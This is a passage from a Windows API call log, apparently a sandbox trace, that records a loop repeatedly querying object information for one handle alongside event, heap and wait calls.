ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.087] ResetEvent (hEvent=0xe8) returned 1 [0149.087] SetEvent (hEvent=0xec) returned 1 [0149.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.087] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.087] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.087] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.087] ResetEvent (hEvent=0xe8) returned 1 [0149.087] SetEvent (hEvent=0xec) returned 1 [0149.087] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.087] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.088] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.088] ResetEvent (hEvent=0xe8) returned 1 [0149.088] SetEvent (hEvent=0xec) returned 1 [0149.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.088] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.088] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.088] ResetEvent (hEvent=0xe8) returned 1 [0149.088] SetEvent (hEvent=0xec) returned 1 [0149.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.088] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.088] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.088] ResetEvent (hEvent=0xe8) returned 1 [0149.088] SetEvent (hEvent=0xec) returned 1 [0149.088] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.088] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.088] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.088] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.089] ResetEvent (hEvent=0xe8) returned 1 [0149.089] SetEvent (hEvent=0xec) returned 1 [0149.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.089] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.089] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.089] ResetEvent (hEvent=0xe8) returned 1 [0149.089] SetEvent (hEvent=0xec) returned 1 [0149.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.089] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.089] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.089] ResetEvent (hEvent=0xe8) returned 1 [0149.089] SetEvent (hEvent=0xec) returned 1 [0149.089] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.089] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.089] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.089] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.089] ResetEvent (hEvent=0xe8) returned 1 [0149.090] SetEvent (hEvent=0xec) returned 1 [0149.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.090] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.090] ResetEvent (hEvent=0xe8) returned 1 [0149.090] SetEvent (hEvent=0xec) returned 1 [0149.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.090] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.090] ResetEvent (hEvent=0xe8) returned 1 [0149.090] SetEvent (hEvent=0xec) returned 1 [0149.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.090] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.090] ResetEvent (hEvent=0xe8) returned 1 [0149.090] SetEvent (hEvent=0xec) returned 1 [0149.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.091] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.091] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.091] ResetEvent (hEvent=0xe8) returned 1 [0149.091] SetEvent (hEvent=0xec) returned 1 [0149.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.091] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.091] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.091] ResetEvent (hEvent=0xe8) returned 1 [0149.091] SetEvent (hEvent=0xec) returned 1 [0149.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.091] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.091] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.092] ResetEvent (hEvent=0xe8) returned 1 [0149.092] SetEvent (hEvent=0xec) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.092] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.092] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.092] ResetEvent (hEvent=0xe8) returned 1 [0149.092] SetEvent (hEvent=0xec) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.092] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.092] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.092] ResetEvent (hEvent=0xe8) returned 1 [0149.092] SetEvent (hEvent=0xec) returned 1 [0149.092] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.092] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.092] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.092] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.092] ResetEvent (hEvent=0xe8) returned 1 [0149.093] SetEvent (hEvent=0xec) returned 1 [0149.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.093] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.093] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.093] ResetEvent (hEvent=0xe8) returned 1 [0149.093] SetEvent (hEvent=0xec) returned 1 [0149.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.093] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.093] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.093] ResetEvent (hEvent=0xe8) returned 1 [0149.093] SetEvent (hEvent=0xec) returned 1 [0149.093] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.093] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.093] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.093] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.093] ResetEvent (hEvent=0xe8) returned 1 [0149.093] SetEvent (hEvent=0xec) returned 1 [0149.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.094] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.094] ResetEvent (hEvent=0xe8) returned 1 [0149.094] SetEvent (hEvent=0xec) returned 1 [0149.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.094] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.094] ResetEvent (hEvent=0xe8) returned 1 [0149.094] SetEvent (hEvent=0xec) returned 1 [0149.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.094] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.094] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.094] ResetEvent (hEvent=0xe8) returned 1 [0149.094] SetEvent (hEvent=0xec) returned 1 [0149.094] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.095] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.095] ResetEvent (hEvent=0xe8) returned 1 [0149.095] SetEvent (hEvent=0xec) returned 1 [0149.095] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.095] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.095] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.095] ResetEvent (hEvent=0xe8) returned 1 [0149.095] SetEvent (hEvent=0xec) returned 1 [0149.095] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.095] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.095] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.095] ResetEvent (hEvent=0xe8) returned 1 [0149.095] SetEvent (hEvent=0xec) returned 1 [0149.095] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.095] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.096] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.096] ResetEvent (hEvent=0xe8) returned 1 [0149.096] SetEvent (hEvent=0xec) returned 1 [0149.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.096] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.096] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.096] ResetEvent (hEvent=0xe8) returned 1 [0149.096] SetEvent (hEvent=0xec) returned 1 [0149.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.096] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.096] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.096] ResetEvent (hEvent=0xe8) returned 1 [0149.096] SetEvent (hEvent=0xec) returned 1 [0149.096] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.096] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.096] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.096] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.097] ResetEvent (hEvent=0xe8) returned 1 [0149.097] SetEvent (hEvent=0xec) returned 1 [0149.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.097] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.097] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.097] GetFileType (hFile=0x198) returned 0x3 [0149.097] ResetEvent (hEvent=0xe8) returned 1 [0149.097] SetEvent (hEvent=0xec) returned 1 [0149.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.097] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.097] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.097] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.097] GetFileType (hFile=0x198) returned 0x3 [0149.097] ResetEvent (hEvent=0xe8) returned 1 [0149.097] SetEvent (hEvent=0xec) returned 1 [0149.097] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.097] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.098] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.098] GetFileType (hFile=0x198) returned 0x3 [0149.098] ResetEvent (hEvent=0xe8) returned 1 [0149.098] SetEvent (hEvent=0xec) returned 1 [0149.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.098] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.098] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.098] ResetEvent (hEvent=0xe8) returned 1 [0149.098] SetEvent (hEvent=0xec) returned 1 [0149.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.098] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.098] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.098] ResetEvent (hEvent=0xe8) returned 1 [0149.098] SetEvent (hEvent=0xec) returned 1 [0149.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.098] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.099] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.099] ResetEvent (hEvent=0xe8) returned 1 [0149.099] SetEvent (hEvent=0xec) returned 1 [0149.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.099] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.099] ResetEvent (hEvent=0xe8) returned 1 [0149.099] SetEvent (hEvent=0xec) returned 1 [0149.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.099] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.099] ResetEvent (hEvent=0xe8) returned 1 [0149.099] SetEvent (hEvent=0xec) returned 1 [0149.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.099] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.099] ResetEvent (hEvent=0xe8) returned 1 [0149.100] SetEvent (hEvent=0xec) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.100] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.100] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.100] ResetEvent (hEvent=0xe8) returned 1 [0149.100] SetEvent (hEvent=0xec) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.100] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.100] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: 